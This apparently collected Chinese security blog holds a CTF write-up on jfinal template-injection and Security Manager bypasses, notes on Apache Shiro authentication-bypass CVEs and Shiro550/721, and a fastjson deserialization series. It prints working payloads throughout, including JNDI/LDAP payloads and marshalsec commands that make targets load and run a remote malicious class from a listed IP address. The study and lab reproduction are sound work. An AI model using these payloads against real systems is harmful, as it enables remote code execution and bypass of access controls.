0%

Unsecure Blog

这道题主要有两个考点是比较难的,分别是绕过ssti和Security Manager。前面的部分比较简单,弱密码111111进入后台,然后审计代码发现修改博客这里的预览功能存在ssti。对应于com.jfinal.app.blog._admin.blog.BlogAdminController::preview方法

image-20211020162518238

SSTI绕过

jfinal自带的模板引擎虽然宣称可以像写java代码一样去写模板,但是在模板中还是存在安全防护的。比如一些敏感的方法是不允许被调用的。黑名单如下,定义在com.jfinal.template.expr.ast.MethodKit

String[] ms = new String[]{"getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader", "invoke", "notify", "notifyAll", "wait", "exit", "loadLibrary", "halt", "stop", "suspend", "resume", "removeForbiddenClass", "removeForbiddenMethod"};

针对以上黑名单的过滤,结合题目的依赖,可以发现两种绕过姿势。

一是利用了ehcache依赖,使用net.sf.ehcache.util.ClassLoaderUtil::createNewInstance方法实现危险类的实例化。这个方法的作用是根据给定的类名去创建一个该类的对象,比如我们可以创建一个ScriptEngineManager对象,进而拿到js引擎,来实现任意js代码执行,下面第二种方法的最终目的也是拿到这个js引擎对象。

#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))
#set(e=x.getEngineByName("js")) 
#(e.eval(jscode))

二是利用fastjson依赖,这种方法太骚了,手动设置autoTypeSupport为true(否则fastjson无法反序列化ScriptEngineManager),然后就可以反序列化自己想要的对象了

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))

Security Manager绕过

绕过ssti后,已经可以执行js代码了,但是本题还存在Security Manager的限制,导致代码执行起来没有那么得心应手。Security Manager的介绍请看这篇文章(绝对的良心好文)。文章中详细介绍了sm及绕过方式,是基于java代码层面的,本题中是需要通过js代码来进行绕过,不过绕过的核心思想都是一样的。

/*    */ package com.jfinal.app.security;
/*    */ 
/*    */ import java.security.Permission;
/*    */ 
/*    */ 
/*    */ 
/*    */ 
/*    */ public class ForbiddenSecurityManager
/*    */ {
/*    */   public static void setSecurityManager() {
/* 11 */     SecurityManager oldSecurityManager = System.getSecurityManager();
/* 12 */     if (oldSecurityManager == null) {
/* 13 */       SecurityManager execSecurityManager = new SecurityManager() {
/*    */           private void check(Permission permission) {
/* 15 */             if (permission instanceof java.io.FilePermission) {
/* 16 */               String actions = permission.getActions();
/* 17 */               if (actions != null && actions.contains("execute"))
/* 18 */                 throw new SecurityException("cant execute file!"); 
/* 19 */               if (actions != null && actions.contains("write") && 
/* 20 */                 permission.getName().endsWith(".dll")) {
/* 21 */                 throw new SecurityException("cant create dll file");
/*    */               }
/*    */             } 
/*    */             
/* 25 */             if (permission instanceof RuntimePermission) {
/* 26 */               String name = permission.getName();
/* 27 */               if (name != null && name.contains("setSecurityManager")) {
/* 28 */                 throw new SecurityException("cant overwrite SecurityManager!");
/*    */               }
/*    */             } 
/*    */           }
/*    */ 
/*    */           
/*    */           public void checkPermission(Permission perm) {
/* 35 */             check(perm);
/*    */           }
/*    */ 
/*    */           
/*    */           public void checkPermission(Permission perm, Object context) {
/* 40 */             check(perm);
/*    */           }
/*    */         };
/* 43 */       System.setSecurityManager(execSecurityManager);
/*    */     } 
/*    */   }
/*    */ }

这题能用的姿势是直接使用反射调用ProcessImpl::start(即Runtime::exec的底层实现),其他的我也有尝试,后来发现唯有以下这种能行得通。

var clz = Java.type('java.lang.String[]').class; 
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; 
var bclz = Java.type('boolean').class; 
var pclz = Java.type('java.lang.ProcessImpl').class; 
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class, 3); 
java.lang.reflect.Array.set(cmd, 0, 'cmd.exe'); 
java.lang.reflect.Array.set(cmd, 1, '/c'); 
java.lang.reflect.Array.set(cmd, 2, 'whoami'); 
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); 
m.setAccessible(true); 
var inputStream = m.invoke(null, cmd, null, null, null, false).getInputStream(); 
var stringBuilder = new java.lang.StringBuilder(); 
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); 
var line = null; 
while ((line = reader.readLine())!=null) { 
 stringBuilder.append(line); 
 stringBuilder.append("\n"); 
} 
stringBuilder.toString();

后话

到这里这题也就基本结束了,能rce了之后就是简单的导出注册表然后就拿到flag了。但是在此之后我尝试自己构造一些别的绕过sm的js代码,结果是都失败了。

下面列举出一些失败的尝试,避免跟我一样走弯路。

首先是使用反射设置所有栈桢的ProtectionDomain的hasAllPerm属性为true。

var stackTraceElements=java.lang.Thread.currentThread().getStackTrace();
for(var i=0;i<stackTraceElements.length;i++){
    try{
        var stackTraceElement=stackTraceElements[i];
        var clz = java.lang.Class.forName(stackTraceElement.getClassName());
        var getProtectionDomain = clz.getClass().getDeclaredMethod('getProtectionDomain0', null);
        getProtectionDomain.setAccessible(true);
        var pd = getProtectionDomain.invoke(clz);
        if (pd!=null){
            var field = pd.getClass().getDeclaredField('hasAllPerm');
            field.setAccessible(true);
            field.set(pd, true);
        }
    }catch(e){}
}
java.lang.Runtime.getRuntime().exec('calc');

构造完之后一打,发现得到了这样的报错,很明显是被sm拦了下来。

image-20211020210741819

仔细看题目自定义的sm就会发现,题目环境跟上面推荐的博客的实验环境是有差别的。博客的实验环境通过命令行来配置sm,使用的是jdk自带的sm实现,在他的checkPermission方法中调用了java.security.AccessController::checkPermission,这个方法就会自顶向下去检查各个栈桢的ProtectionDomain,是否满足权限,包括会去处理doPrivileged。

然而这题使用的是自定义的sm,它重写了checkPermission方法,并没有去调用java.security.AccessController::checkPermission,而是统一调用自己写的check方法,完全不涉及到遍历栈桢检查权限的问题。所以我们这样去修改栈桢权限是根本没用的。当执行java.lang.Runtime.getRuntime().exec('calc');时,触发check函数,走到if (actions != null && actions.contains("execute"))分支,就挂了

/*    */           private void check(Permission permission) {
/* 15 */             if (permission instanceof java.io.FilePermission) {
/* 16 */               String actions = permission.getActions();
/* 17 */               if (actions != null && actions.contains("execute"))
/* 18 */                 throw new SecurityException("cant execute file!"); 
/* 19 */               if (actions != null && actions.contains("write") && 
/* 20 */                 permission.getName().endsWith(".dll")) {
/* 21 */                 throw new SecurityException("cant create dll file");
/*    */               }
/*    */             } 
/*    */             
/* 25 */             if (permission instanceof RuntimePermission) {
/* 26 */               String name = permission.getName();
/* 27 */               if (name != null && name.contains("setSecurityManager")) {
/* 28 */                 throw new SecurityException("cant overwrite SecurityManager!");
/*    */               }
/*    */             } 
/*    */           }

此外,通过类加载器来绕过sm的思路也是行不通。它的思想是写一个类加载器去加载恶意类EvilClass,然后给这个类赋予所有权限,然后再在这个类中去调用AccessController.doPrivileged。因为调用了doPrivileged,所以检查权限时到EvilClass就会截至,而EvilClass拥有所有权限,所以能绕过。

然而,就如上面的分析,这里使用的不是jdk自带的sm,用原来的绕过方式是行不通的。

public class EvilClass {
    public EvilClass() {
    }

    static {
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                try {
                    Process var1 = Runtime.getRuntime().exec("calc");
                    return null;
                } catch (Exception var2) {
                    var2.printStackTrace();
                    return null;
                }
            }
        });
    }
}

那么反射调用ProcessImpl::start为什么可以打通呢?

var clz = Java.type('java.lang.String[]').class; 
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; 
var bclz = Java.type('boolean').class; 
var pclz = Java.type('java.lang.ProcessImpl').class; 
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class, 3); 
java.lang.reflect.Array.set(cmd, 0, 'cmd.exe'); 
java.lang.reflect.Array.set(cmd, 1, '/c'); 
java.lang.reflect.Array.set(cmd, 2, 'whoami'); 
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); 
m.setAccessible(true); 
var inputStream = m.invoke(null, cmd, null, null, null, false).getInputStream(); 
var stringBuilder = new java.lang.StringBuilder(); 
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); 
var line = null; 
while ((line = reader.readLine())!=null) { 
 stringBuilder.append(line); 
 stringBuilder.append("\n"); 
} 
stringBuilder.toString();

debug看看使用这种打法会触发什么权限检查

调用getDeclaredMethod时,会触发RuntimePermission的检查

image-20211020212451716

在调用setAccessible时,会触发ReflectPermission的检查

image-20211020212725141

回看一下题目环境中的check函数,RuntimePermission有处理,不过只ban掉了name包含setSecurityManager的情况。我们这里name是accessDeclaredMembers,所以不会被ban。而ReflectPermission就更舒服了,压根没限制。因此这种直接反射调用ProcessImpl::start的打法就奏效了

参考文章

java沙箱绕过

前段时间跟完了shiro550和721两个经典的反序列化漏洞,想把shiro学的更全面一些,于是接着来跟一下shiro的权限绕过。本文是参考xq17师傅的文章进行复现,仅做一些补充和个人记录。以下cve如无特殊说明,均是在springboot1.5.22.RELEASE版本下进行。

<=1.4.2

原理概述

/hello/*的拦截规则无法拦截/hello/1/,而/hello/1/能够获取/hello/1一样的资源

payload

/hello/1为受限资源

/hello/1/

CVE-2020-1957

利用条件

  1. shiro<=1.5.1
  2. spring版本最好为1.x.x

原理概述

这个漏洞的是由于shiro和spring处理的请求路径不一致造成的,shiro在处理请求时将;后面的路径都忽略,然后取得对应的过滤器进行拦截。spring处理请求时则不会将;后面的路径忽略,并且会解析..

在1.5.2版本的修复中可以发现,shiro将处理路径的代码与spring进行了统一。

payload

/fsdf;/../hello/1111
/fsdf/..;/a;aaa;a/..;/hello/1

注意事项

  1. 复现时注意springboot版本,低版本会对路径中的..进行解析处理,高版本则不会。

  2. 复现时尽量使用bp抓包更改路径。比如如下payload

    /fsdf;/../hello/1231
    

    直接使用火狐请求这个路径无法绕过,而使用bp则可以。原因是浏览器自作聪明的帮我们解析了..导致payload无效。

    使用火狐发送上面的payload,bp抓包得到的是。可以发现,..被浏览器解析了。

    image-20210817124811289

    直接在bp改包即可成功

    image-20210817124758774

CVE-2020-11989

利用条件

  1. shiro<=1.5.2
  2. 方式1需要接口接收String类型的参数
  3. 方式1要求路径限制为*,不能是**
  4. 方式2需要项目配置context-path

原理概述

方式一是由于shiro在处理请求路径时会双url解码,比如/shiro/hello/luanxie%25%32%661 被解码成了/shiro/hello/luanxie/1,这个路径不会被拦截。而spring在解析时仅进行了一次url解码,得到的就是/shiro/hello/luanxie%2f1,实现绕过。

在说方式二之前,与1.5.1做一个衔接。为了修复1.5.1的漏洞,shiro将url的处理方式与spring进行了统一,改成了如下方式。但是在request.getContextPath()中出现了问题,这个函数的作用就是得到context-path,但是在获取过程中没有做特殊处理,传入/;/shiro/hello/hi,直接返回了/;/shiro。接下来的原因就跟1.5.1的漏洞相同了,;后的路径直接被shiro截断,导致了绕过。

public static String getRequestUri(HttpServletRequest request) {
    String uri = (String)request.getAttribute("javax.servlet.include.request_uri");
    if (uri == null) {
    uri = valueOrEmpty(request.getContextPath()) + "/" + valueOrEmpty(request.getServletPath()) + valueOrEmpty(request.getPathInfo());
    }

    return normalize(decodeAndCleanUriString(request, uri));
}

payload

方式一

#shiro是context-path,没有设置可以不写。这里为了和方式二共用一个环境所以设置了
/shiro/hello/luanxie%25%32%661 

方式二

/;/shiro/hello/hi

CVE-2020-13933

利用条件

  1. shiro<=1.5.3
  2. 路径限制为*,不能是**

原理概述

首先getPathWithinApplication会先把/hello/%3b123处理成/hello/(即删除;后面的内容)

getChain函数在处理路径时,会将末尾的/删除,而/hello/*这种通配符不能匹配/hello,就导致了绕过。

image-20210817151631955

如果不将;进行编码,spring在处理时会把;后面的内容忽略,得到的是/hello/,无法与/hello/*的控制器方法匹配

image-20210817154532477

注意点

前面讨论CVE-2020-1957时我们说spring处理请求时则不会将;后面的路径忽略,并且会解析..,而这里我们又说spring会将;后面的路径忽略,下面具体看一下源码究竟是怎么回事。

在spring解析路径准备找controller处理请求时,会调用UrlPathHelper:getPathWithinServletMapping。只需要搞明白这个函数上面的问题就能理解了。这个函数的作用可以简单的理解成返回请求路径。

image-20210817161056714

看看CVE-2020-1957,我们发送payload/fsdf;/../hello/1111

断点停在UrlPathHelper:getPathWithinServletMapping,这个函数的返回的是servletPath,它是通过this.getServletPath(request);获取的

image-20210817162855954

这个getServletPath(request)底层就是调用了servlet的实现得到请求路径,会处理..;,得到的最终结果是/hello/1111

image-20210817162530415

再看看正在分析的CVE-2020-13933,如果不将;进行编码,发送payload/hello/;123UrlPathHelper:getPathWithinServletMapping获取到的路径就是是/hello/,将通过这个路径去找对应的Controller方法。

总结一下就是,如果;..同时出现,将不会忽略掉;后面的内容,而是先解析..。如果单独出现;,则会忽略它后面的内容。

payload

/hello/%3b123

CVE-2020-17523

利用条件

  1. shiro<=1.6.0
  2. 方式二的利用条件是springboot开启了全路径模式,springboot>=2.3.0RELEASE默认开启了该模式

原理概述

方式一是利用了shiro在拆分请求路径时的问题,/hello/{空格}被拆分成了hello,空格被忽略了。导致/hello/*无法匹配/hello。而spring却能正确拆分/hello/{空格},进而正确解析该请求,从而实现了绕过。

方式二是由于shiro在处理请求路径时,调用getServletPath(),它会解析...使得如下payload发生变化,然后末尾的/又会被删除,导致/hello/*无法匹配/hello,实现绕过。

/hello/%2e  ->  /hello/
/hello/%2e/  ->  /hello/
/hello/%2e%2e/  ->  /

payload

方式一

/hello/%20

方式二

/hello/%2e
/hello/%2e/
/hello/%2e%2e/

参考文章

Shiro 权限绕过的历史线(上)

Shiro权限绕过漏洞分析(CVE-2020-1957)

shiro550

利用条件

  1. shiro<=1.2.4

shiro550这个反序列化漏洞整体逻辑比较简单。详细分析参考H0t-A1r-B4llo0n师傅的文章,写得非常通俗易懂,非常详细。

这里进行简单总结

shiro在用户成功登录并且要求rememberMe的情况下,会将principals(可看作是用户名)记录到cookie中。在记录时,并非明文存储,而是经过了序列化->aes加密->base64编码然后再存到cookie中。

问题就出在aes加密,因为它的密钥是以静态变量的形式定义在了代码中,是写死的,如果用户不进行修改,那么就可以伪造rememberMe这个cookie。

然后,在服务器接收到请求时,会先检查rememberMe,如果不为空且不等于”deleteMe”,则会尝试base64解码->aes解密->反序列化。前面我们已经能拿到aes密钥,能伪造rememberMe,那这里就相当于拥有了一个反序列化的入口了,下面就可以尝试各种反序列化poc了。

shiro721

利用条件

  1. shiro<=1.4.1

721生成密钥的方式

首先看看721和550有什么区别,前面我们知道550的密钥是以硬编码的形式写在了代码中。那么721的做法是怎样的呢?

根据如下的调用栈可以看出,721的密钥采用了随机函数生成,修复了550的漏洞。

engineGenerateKey:115, AESKeyGenerator (com.sun.crypto.provider)
generateKey:546, KeyGenerator (javax.crypto)
generateNewKey:62, AbstractSymmetricCipherService (org.apache.shiro.crypto)
generateNewKey:43, AbstractSymmetricCipherService (org.apache.shiro.crypto)
<init>:99, AbstractRememberMeManager (org.apache.shiro.mgt)
<init>:87, CookieRememberMeManager (org.apache.shiro.web.mgt)
<init>:76, DefaultWebSecurityManager (org.apache.shiro.web.mgt)

image-20210816143634402

具体流程

721相对550来说涉及到的知识点更广,需要对密码学知识有一定的了解理解起来才会比较轻松。由于我们不再能像550那样直接得到密钥,所以要想伪造cookie就需要使用更复杂的攻击手段,其中涉及到了padding oracle和cbc翻转攻击。核心的公式就如下两个,不过理解起来还是比较费劲的。

∵  FuzzIV[8]   ^   MediumValue[8]   =   PlainText[8]   =   0x01
∴  MediumValue[8]   =   FuzzIV[8]   ^   0x01
∵  PlainText(n+1) = CipherText(n) ^ Block_Cipher_Decryption(C(n+1))
∴  CipherText(n) = PlainText(n+1) ^ Block_Cipher_Decryption(C(n+1))

具体的流程参考H0t-A1r-B4llo0n师傅,分为两篇。

这里仅记录一些我认为有问题的点。

上篇

首先是在上中padding oracle的分析中,对于每一个分组的最后一个字节的爆破(即MediumValue[8],假设每组大小为8)。根据下面这个公式,IV是已知的,我们只需要得到正确的FuzzIV[8]即可得到MediumValue[8]

∵   FuzzIV[8]   ^   MediumValue[8]   =   PlainText[8]   =   0x01
∴   MediumValue[8]   =   FuzzIV[8]   ^   0x01

但是实际上并没有这么简单,因为我们无法确保padding正确时,PlainText[8]一定是0x01。就比如如下测试,我们按照从0到255的顺序遍历FuzzIV[8]

def xor(a,b):
    a=[int(i,16) for i in a.split(" ")]
    b=[int(i,16) for i in b.split(" ")]
    s=""
    for i in range(len(a)):
        s+=hex(a[i]^b[i])+" "
    return s

fuzziv="0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01"

iv="0x39 0x73 0x23 0x32 0x5A 0x3B 0x00 0x04"
MediumValue="0x29 0x34 0x5A 0x6B 0x07 0x00 0x02 0x06"

print "plain: "+xor(iv,MediumValue)


for i in range(0,256):
    fuzz = "0x00 0x00 0x00 0x00 0x00 0x00 0x00 %s"%hex(i)
    print xor(fuzz,MediumValue)

当FuzzIV[8]=0x04时,计算结果如下。很明显,这是正确的padding。然而FuzzIV[8] ^ MediumValue[8] = 0x02而不是0x01

FuzzIV = "0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x04"
MediumValue = "0x29 0x34 0x5A 0x6B 0x07 0x00 0x02 0x06"
FuzzIV ^ MediumValue = 0x29 0x34 0x5a 0x6b 0x7 0x0 0x2 0x2

如果此时,我们使用如下公式来计算MediumValue[8],那就出大错了。

MediumValue[8]   =   FuzzIV[8]   ^   0x01

那么正确的做法应该是怎样的呢?查看python paddingoracle模块作者的做法就明白了,在paddingoracle.py的bust函数中。作者使用了重试的做法来解决这个问题,只要某一个FuzzIV[8]可以使padding正确,就尝试继续往下爆破,如果走不通,再回来重新爆破FuzzIV[8],重新爆破时,是从上一次错误的位置开始的。这里有一个疑问,如果FuzzIV[8]错误了,并且继续爆破的时候一错再错,会不会导致算错误?这个问题暂且放这,不在深究。

下篇

作者此处的计算是有问题的,正确算法如下

pad = block_size - (len(plaintext) % block_size)
pad = 16-(279%16)=16=7=9

image-20210816141235550

参考文章

CVE-2016-4437 Shiro550 ( Apache Shiro RememberMe 1.2.4 反序列化漏洞 ) 分析

CVE-2019-12422 Shiro721 ( Apache Shiro RememberMe Padding Oracle 1.4.1 反序列化漏洞) 分析-上

CVE-2019-12422 Shiro721 ( Apache Shiro RememberMe Padding Oracle 1.4.1 反序列化漏洞) 分析-下

[TOC]

出网

trustURLCodebase限制

  • rmi:

    JDK 6u132、 JDK 7u122、JDK 8u113之前

  • ldap:

    JDK 11.0.1、8u191、7u201、6u211之前

fastjson1.2.24(JdbcRowSetImpl)

限制条件

  1. fastjson<=1.2.24,在此之后在ParseConfig类中新增了checkAutoType函数过滤反序列化的类
  2. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

反序列化链

setAutoCommit:4067,JdbcRowSetImpl
setValue:96,FieldDeserializer //反射调用传入类的set函数
deserialze:600, JavaBeanDeserializer 通过循环调用传入类的共有set,get,is函数
parseObject:368,DefaultJSONParser 解析传入的json字符串
public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet, Joinable {
    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();//[1]
            this.conn.setAutoCommit(var1);
        }
    }
    
    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());//[2]
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }
}

RMI调用流程(续[2])

角色说明

  1. 被攻击:主机A
  2. 恶意JAVA类:主机B
  3. RMI服务(Remote Method Invocation远程方法调用):主机C

调用流程

  1. 黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)
  2. 引发主机A反序列化漏洞,使主机A发出远程调用请求,去连接提供RMI服务的主机C
  3. 主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类,引发恶意系统命令执行

poc

测试环境来源于vulhub

  1. 启动主机B

    python3 -m http.server 39653
    
  2. 启动主机C

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://121.5.40.245:39653/#Exploit" 39655
    
  3. 向主机A发送payload

    POST / HTTP/1.1
    Host: 121.5.40.245:8090
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 161
    
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://121.5.40.245:39655/Exploit",
            "autoCommit":true
        }
    }
    

fastjson1.2.41(JdbcRowSetImpl)

利用条件

  1. fastjson<=1.2.41

  2. AutoTypeSupport=true

    这一点使得这个链比较鸡肋,默认这个属性是false的,也就是说正常情况下这个漏洞不存在。

  3. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

反序列化链

基本流程跟1.2.24相同,区别在于24以后对反序列化链做了黑名单过滤。绕过的方式是在全类名前后分别添加L;,这样就会导致能够绕过黑名单过滤,并且在类加载时,因为有如下代码,导致可以正确加载类

public class TypeUtils {
    else if (className.startsWith("L") && className.endsWith(";")) {
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    } 
}

payload

{
    "b":{
        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName":"ldap://121.5.40.245:39655/ExploitWin",
        "autoCommit":true
    }
}

fastjson1.2.42(JdbcRowSetImpl)

利用条件

  1. fastjson<=1.2.42

  2. AutoTypeSupport=true

    这一点使得这个链比较鸡肋,默认这个属性是false的,也就是说正常情况下这个漏洞不存在。

  3. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

反序列化链

基本流程跟1.2.41相同,42和41的区别在于42对L;这种绕过方式做了过滤。绕过方式很简单,双写一下L;即可

public class ParserConfig {
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        //这个if条件会得到满足,然后就把L;前后缀给截掉了
        if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                    className = className.substring(1, className.length() - 1);
                }
    }
}

payload

{
    "b":{
        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
        "dataSourceName":"ldap://121.5.40.245:39655/ExploitWin",
        "autoCommit":true
    }
}

fastjson1.2.43(JdbcRowSetImpl)

利用条件

  1. fastjson<=1.2.43

  2. AutoTypeSupport=true

    这一点使得这个链比较鸡肋,默认这个属性是false的,也就是说正常情况下这个漏洞不存在。

  3. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

反序列化链

基本流程跟1.2.42相同,43和42的区别在于42对LL;;这种绕过方式做了过滤。过滤的方式也很简单粗暴,就是不允许双写LL;;

public class ParserConfig {
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        
        if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }
    }
}

绕过的方式是利用数组,还是熟悉的loadClass函数,这一次利用这个else分支来进行绕过

public class TypeUtils {
    else if (className.charAt(0) == '[') {
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    }
}

payload

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://121.5.40.245:39655/ExploitWin", "autoCommit":true}

fastjson1.2.45(JndiDataSourceFactory)

官方对1.2.24的修复是增加了一个ParseConfig类中新增了checkAutoType函数过滤反序列化的类,但是过滤的不全,可以利用JndiDataSourceFactory类来bypass。

利用条件

  1. fastjson<=1.2.45
  2. 项目依赖mybatis
  3. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

payload

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

fastjson1.2.47(JdbcRowSetImpl)

利用条件

  1. fastjson<=1.2.47

  2. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

    我本机的java版本是1.8.0_144,使用ldap没有限制,而rmi就有限制了,注意这个坑。

反序列化链

首先看payload。在1.2.47的版本中,最大的问题就是在于fastjson在反序列化时如果遇到Class对象,会自动缓存,下次遇到反序列化Class类对应的对象时,就直接从缓存中拿到该对象的Class,取到就直接返回了。由于从缓存中取是优先于黑名单类判断的,导致可以绕过黑名单类的限制。

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}
  1. 首先解析a,将com.sun.rowset.JdbcRowSetImpl类的Class缓存

    public class DefaultJSONParser implements Closeable {
        public final Object parseObject(Map object, Object fieldName) {
            obj = deserializer.deserialze(this, clazz, fieldName);//[1]反序列化对象
        }
        
    }
    
    public class MiscCodec implements ObjectSerializer, ObjectDeserializer {
        public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
            if (clazz == Class.class) {
                                return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());//[2]如果是Class类的对象,则加载strVal指定类名的Class对象
                            }
        }
    }
    
    public class TypeUtils {
        public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if (contextClassLoader != null && contextClassLoader != classLoader) {
                clazz = contextClassLoader.loadClass(className);//调用类加载器加载类
                if (cache) {
                    mappings.put(className, clazz);//[3]将类名和Class对象的信息缓存起来
                }
    
                return clazz;
            }
        }
    }
    
  2. 解析b,利用缓存绕过checkAutoType

    public class ParserConfig {
        public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);//[1]
            }
        }
        
        public static Class<?> getClassFromMapping(String className) {
            return (Class)mappings.get(className);//[2]从缓存中取clazz
        }
        
        if (clazz != null) {
            if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            } else {
                return clazz;//[2]缓存中找到clazz,返回clazz
            }
        }
        //黑名单类检测在下面,还未执行到就已经返回。
    }
    

poc

测试环境来源于vulhub

  1. 启动主机B

    python3 -m http.server 39653
    
    public class ExploitWin {
       static{
            try {
                Runtime.getRuntime().exec("calc");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        public static void main(String[] args){}
    }
    
  2. 启动主机C

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://121.5.40.245:39653/#ExploitWin" 39655
    
  3. 发送payload

    import com.alibaba.fastjson.JSON;
    
    public class Poc {
        public static void main(String[] args) {
            String payload="{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://121.5.40.245:39655/ExploitWin\",\"autoCommit\":true}}}";
            JSON.parse(payload);
        }
    }
    

    image-20210601153820490

fastjson1.2.62(JndiConverter)

checkAutoType过滤不全,可以利用JndiConverter类来bypass。

利用条件

  1. fastjson<=1.2.62

  2. AutoTypeSupport=true

  3. 项目依赖xbean-reflect

    <dependency>
        <groupId>org.apache.xbean</groupId>
        <artifactId>xbean-reflect</artifactId>
        <version>4.18</version>
    </dependency>
    
  4. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

反序列化链

json传入一个asText变量,在反序列化时会触发setAsText,然后调用toObjectImpl触发rmi调用。有趣的是,这里实际上不存在一个asText字段,但是在反序列化时,无论字段是否存在,只要能找到对应的setter方法,就会进行调用。

public class JndiConverter extends AbstractConverter {
    public JndiConverter() {
        super(Context.class);
    }

    protected Object toObjectImpl(String text) {
        try {
            InitialContext context = new InitialContext();
            return (Context)context.lookup(text);//[2]
        } catch (NamingException var3) {
            throw new PropertyEditorException(var3);
        }
    }
}

public abstract class AbstractConverter extends PropertyEditorSupport implements Converter {
    public final void setAsText(String text) {
        Object value = this.toObject(this.trim ? text.trim() : text);//[1]
        super.setValue(value);
    }
}

payload

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://121.5.40.245:39655/ExploitWin"}

fastjson1.2.66

利用条件

  1. fastjson<=1.2.66
  2. AutoTypeSupport=true
  3. 具有对应的依赖
  4. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

payload

以下的payload均未做测试,应该跟1.2.62的差不多,都是利用类过滤不全造成的漏洞。

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
